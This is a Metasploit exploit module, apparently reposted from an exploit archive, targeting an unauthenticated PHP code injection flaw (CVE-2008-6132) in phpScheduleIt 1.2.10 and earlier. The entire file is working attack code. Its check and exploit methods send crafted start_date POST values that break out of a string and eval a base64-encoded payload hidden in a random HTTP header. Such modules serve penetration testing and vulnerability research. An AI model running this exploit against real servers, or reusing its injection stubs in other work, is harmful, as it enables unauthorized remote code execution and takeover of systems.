phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection

`##  
# $Id: phpscheduleit_start_date.rb 14073 2011-10-26 18:06:12Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',  
'Description' => %q{  
This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt  
software. This vulnerability is only exploitable when the magic_quotes_gpc PHP  
option is 'off'. Authentication is not required to exploit the bug.  
  
Version 1.2.10 and earlier of phpScheduleIt are affected.  
},  
'Author' =>  
[  
'EgiX', # Vulnerability Discovery and Exploit  
'juan vazquez' # Metasploit module  
],  
'License' => BSD_LICENSE,  
'Version' => '$Revision: 14073 $',  
'References' =>  
[  
['CVE', '2008-6132'],  
['OSVDB', '48797'],  
['BID', '31520'],  
['URL', 'http://www.exploit-db.com/exploits/6646/'],  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Payload' =>  
{  
# max header length for Apache,  
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize  
'Space' => 8190,  
'DisableNops' => true,  
'Keys' => ['php'],  
},  
'Targets' => [ ['Automatic', { }] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 1 2008'))  
  
register_options(  
[  
OptString.new('URI', [ true, "The full URI path to phpScheduleIt", '/phpscheduleit']),  
], self.class)  
end  
  
def check  
signature = rand_text_alpha(rand(10)+10)  
stub = "1').${print('#{signature}')}.${die};#"  
my_payload = "btnSubmit=1&start_date=#{stub}"  
  
if datastore['URI'][-1, 1] == "/"  
uri = datastore['URI'] + "reserve.php"  
else  
uri = datastore['URI'] + "/reserve.php"  
end  
  
print_status("Checking uri #{uri}")  
  
response = send_request_cgi({  
'method' => "POST",  
'global' => true,  
'uri' => uri,  
'headers' => {  
'Referer' => uri,  
},  
'data' => "#{my_payload}"  
})  
  
if response.code == 200 and response.body =~ /#{signature}/  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)  
stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"  
my_payload = "btnSubmit=1&start_date=#{stub}"  
  
if datastore['URI'][-1, 1] == "/"  
uri = datastore['URI'] + "reserve.php"  
else  
uri = datastore['URI'] + "/reserve.php"  
end  
  
print_status("Sending request for: #{uri}")  
print_status("Payload embedded in header: #{headername}")  
  
response = send_request_cgi({  
'method' => "POST",  
'global' => true,  
'uri' => uri,  
'headers' => {  
headername => Rex::Text.encode_base64(payload.encoded),  
'Referer' => uri  
},  
'data' => "#{my_payload}"  
}, 3)  
  
if response and response.code != 200  
print_error("Server returned a non-200 status code: (#{response.code})")  
end  
  
handler  
end  
end  
`